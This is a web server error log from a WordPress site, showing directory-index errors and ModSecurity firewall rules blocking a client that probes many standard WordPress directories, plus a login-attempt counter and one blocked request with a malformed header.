[Mon Jan 12 22:33:36.518816 2026] [autoindex:error] [pid 51896:tid 51904] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:36.879938 2026] [autoindex:error] [pid 51896:tid 51901] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:37.813655 2026] [autoindex:error] [pid 51896:tid 51917] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:38.125914 2026] [autoindex:error] [pid 51896:tid 51920] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:38.574660 2026] [autoindex:error] [pid 51896:tid 51900] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:34:23.109563 2026] [:error] [pid 51896:tid 51901] [client 45.150.174.89:42362] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aWUGb92Y52W2afNXn_WjCgAAAkI"]
[Mon Jan 12 22:34:24.685738 2026] [:error] [pid 48106:tid 48185] [client 45.150.174.89:57174] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aWUGcO_rz8jTZY4aXpSG8QAAAJI"]
[Mon Jan 12 22:34:26.254467 2026] [:error] [pid 51637:tid 51646] [client 45.150.174.89:57184] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aWUGcnrTvTmO_ovDgVD3DwAAAYM"]
[Mon Jan 12 22:34:27.255017 2026] [:error] [pid 51896:tid 51899] [client 45.150.174.89:57196] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aWUGc92Y52W2afNXn_WjDAAAAkA"]
[Mon Jan 12 22:34:28.975167 2026] [:error] [pid 51637:tid 51647] [client 45.150.174.89:47026] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aWUGdHrTvTmO_ovDgVD3FgAAAYQ"]
[Mon Jan 12 22:34:30.654911 2026] [:error] [pid 48105:tid 48154] [client 45.150.174.89:47032] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aWUGdjbe4SdLfSmtJe2hqgAAAE4"]
[Mon Jan 12 22:34:31.883051 2026] [:error] [pid 48213:tid 48215] [client 45.150.174.89:47046] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aWUGd2RmaItaLCBvAhgS1gAAAMA"]
[Mon Jan 12 22:34:32.656757 2026] [:error] [pid 9303:tid 9329] [client 45.150.174.89:47060] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/"] [unique_id "aWUGeNEoWhpeQ69gVtEF-wAAAVc"]
[Mon Jan 12 22:34:33.653457 2026] [:error] [pid 9303:tid 9315] [client 45.150.174.89:47076] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/"] [unique_id "aWUGedEoWhpeQ69gVtEF_AAAAUk"]
[Mon Jan 12 22:34:34.691708 2026] [:error] [pid 48213:tid 48221] [client 45.150.174.89:47086] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/"] [unique_id "aWUGemRmaItaLCBvAhgS2QAAAMY"]
[Mon Jan 12 22:34:36.153708 2026] [:error] [pid 51897:tid 51935] [client 45.150.174.89:47098] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/"] [unique_id "aWUGfNwDOJmYnFxYfDUKCgAAAok"]
[Mon Jan 12 22:34:38.510132 2026] [:error] [pid 51986:tid 52035] [client 45.150.174.89:59096] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/"] [unique_id "aWUGfhiI5CoFGIbwGZZ-FwAAA1Q"]
[Mon Jan 12 22:34:41.072134 2026] [:error] [pid 48106:tid 48180] [client 45.150.174.89:59106] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aWUGge_rz8jTZY4aXpSG-QAAAI0"]
[Mon Jan 12 22:34:42.099325 2026] [:error] [pid 48105:tid 48160] [client 45.150.174.89:59110] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aWUGgjbe4SdLfSmtJe2htwAAAFQ"]
[Mon Jan 12 22:34:43.368234 2026] [:error] [pid 48105:tid 48163] [client 45.150.174.89:59114] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aWUGgzbe4SdLfSmtJe2huQAAAFc"]
[Mon Jan 12 22:34:44.171104 2026] [:error] [pid 9303:tid 9312] [client 45.150.174.89:59124] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aWUGhNEoWhpeQ69gVtEGBgAAAUY"]
[Mon Jan 12 22:34:45.491653 2026] [:error] [pid 51986:tid 52018] [client 45.150.174.89:59126] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aWUGhRiI5CoFGIbwGZZ-GQAAA0M"]
[Mon Jan 12 22:34:46.355468 2026] [:error] [pid 51986:tid 52033] [client 45.150.174.89:59130] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aWUGhhiI5CoFGIbwGZZ-HQAAA1I"]
[Mon Jan 12 22:34:47.467376 2026] [:error] [pid 48105:tid 48151] [client 45.150.174.89:59146] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aWUGhzbe4SdLfSmtJe2hvgAAAEs"]
[Mon Jan 12 22:34:48.307173 2026] [:error] [pid 48105:tid 48155] [client 45.150.174.89:53438] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aWUGiDbe4SdLfSmtJe2hwAAAAE8"]
[Mon Jan 12 22:34:49.281252 2026] [:error] [pid 51986:tid 52035] [client 45.150.174.89:53446] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/"] [unique_id "aWUGiRiI5CoFGIbwGZZ-IQAAA1Q"]
[Mon Jan 12 22:34:50.186815 2026] [:error] [pid 9303:tid 9318] [client 45.150.174.89:53448] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/"] [unique_id "aWUGitEoWhpeQ69gVtEGDQAAAUw"]
[Mon Jan 12 22:34:51.433279 2026] [:error] [pid 9303:tid 9312] [client 45.150.174.89:53460] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/"] [unique_id "aWUGi9EoWhpeQ69gVtEGDwAAAUY"]
[Mon Jan 12 22:34:53.069243 2026] [:error] [pid 48105:tid 48157] [client 45.150.174.89:53470] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js/"] [unique_id "aWUGjTbe4SdLfSmtJe2hxgAAAFE"]
[Mon Jan 12 22:34:54.784768 2026] [:error] [pid 51897:tid 51931] [client 45.150.174.89:53482] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aWUGjtwDOJmYnFxYfDUKEgAAAoU"]
[Mon Jan 12 22:34:56.456882 2026] [:error] [pid 9303:tid 9313] [client 45.150.174.89:53492] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aWUGkNEoWhpeQ69gVtEGFgAAAUc"]
[Mon Jan 12 22:34:57.672634 2026] [:error] [pid 51637:tid 51658] [client 45.150.174.89:53508] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aWUGkXrTvTmO_ovDgVD3NwAAAY8"]
[Mon Jan 12 22:34:58.601616 2026] [:error] [pid 9303:tid 9309] [client 45.150.174.89:34156] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aWUGktEoWhpeQ69gVtEGGAAAAUM"]
[Mon Jan 12 22:34:59.386520 2026] [:error] [pid 51897:tid 51947] [client 45.150.174.89:34158] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aWUGk9wDOJmYnFxYfDUKFQAAApU"]
[Mon Jan 12 22:35:01.069394 2026] [:error] [pid 51637:tid 51665] [client 45.150.174.89:34168] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aWUGlXrTvTmO_ovDgVD3PAAAAZY"]
[Mon Jan 12 22:35:02.091667 2026] [:error] [pid 51897:tid 51926] [client 45.150.174.89:34180] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aWUGltwDOJmYnFxYfDUKGgAAAoA"]
[Mon Jan 12 22:35:03.658349 2026] [:error] [pid 51896:tid 51916] [client 45.150.174.89:34190] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aWUGl92Y52W2afNXn_WjGgAAAlE"]
[Mon Jan 12 22:35:04.356721 2026] [:error] [pid 51863:tid 51885] [client 45.150.174.89:34198] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/meta/"] [unique_id "aWUGmD2-QXSEuiZdYYZ7BQAAAhI"]
[Mon Jan 12 22:35:05.791715 2026] [:error] [pid 51896:tid 51905] [client 45.150.174.89:34200] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/meta/"] [unique_id "aWUGmd2Y52W2afNXn_WjGwAAAkY"]
[Mon Jan 12 22:35:06.854532 2026] [:error] [pid 48213:tid 48219] [client 45.150.174.89:34210] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/meta/"] [unique_id "aWUGmmRmaItaLCBvAhgS8QAAAMQ"]
[Mon Jan 12 22:35:07.756301 2026] [:error] [pid 48213:tid 48225] [client 45.150.174.89:34226] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/meta/"] [unique_id "aWUGm2RmaItaLCBvAhgS9AAAAMo"]
[Mon Jan 12 22:35:08.695470 2026] [:error] [pid 51896:tid 51920] [client 45.150.174.89:51946] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aWUGnN2Y52W2afNXn_WjHQAAAlU"]
[Mon Jan 12 22:35:09.853776 2026] [:error] [pid 48105:tid 48154] [client 45.150.174.89:51948] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aWUGnTbe4SdLfSmtJe2hzwAAAE4"]
[Mon Jan 12 22:35:10.854276 2026] [:error] [pid 51896:tid 51913] [client 45.150.174.89:51954] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aWUGnt2Y52W2afNXn_WjHwAAAk4"]
[Mon Jan 12 22:35:11.796814 2026] [:error] [pid 48213:tid 48233] [client 45.150.174.89:51968] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/"] [unique_id "aWUGn2RmaItaLCBvAhgS-QAAANI"]
[Mon Jan 12 22:35:13.171256 2026] [:error] [pid 48106:tid 48184] [client 45.150.174.89:51978] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aWUGoe_rz8jTZY4aXpSHBQAAAJE"]
[Mon Jan 12 22:35:14.155649 2026] [:error] [pid 51956:tid 51973] [client 45.150.174.89:51984] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aWUGokb_j3zpZfEgGM8zZgAAAs8"]
[Mon Jan 12 22:35:15.071136 2026] [:error] [pid 51896:tid 51908] [client 45.150.174.89:51990] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aWUGo92Y52W2afNXn_WjIwAAAkk"]
[Mon Jan 12 22:35:16.158360 2026] [:error] [pid 51896:tid 51912] [client 45.150.174.89:51998] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/"] [unique_id "aWUGpN2Y52W2afNXn_WjJgAAAk0"]
[Mon Jan 12 22:35:17.174445 2026] [:error] [pid 48105:tid 48147] [client 45.150.174.89:52008] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aWUGpTbe4SdLfSmtJe2h1AAAAEc"]
[Mon Jan 12 22:35:18.167214 2026] [:error] [pid 48105:tid 48158] [client 45.150.174.89:52024] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aWUGpjbe4SdLfSmtJe2h1QAAAFI"]
[Mon Jan 12 22:35:19.255294 2026] [:error] [pid 9303:tid 9323] [client 45.150.174.89:55816] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aWUGp9EoWhpeQ69gVtEGIQAAAVE"]
[Mon Jan 12 22:35:28.424361 2026] [:error] [pid 48213:tid 48238] [client 45.150.174.89:56972] [client 45.150.174.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.150.174.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWUGsGRmaItaLCBvAhgTFAAAANc"]
[Mon Jan 12 22:35:31.458505 2026] [autoindex:error] [pid 51956:tid 51964] [client 45.150.174.89:57086] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:48:05.285330 2026] [:error] [pid 51637:tid 51643] [client 182.42.111.213:44693] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWUJpXrTvTmO_ovDgVD6JgAAAYA"]
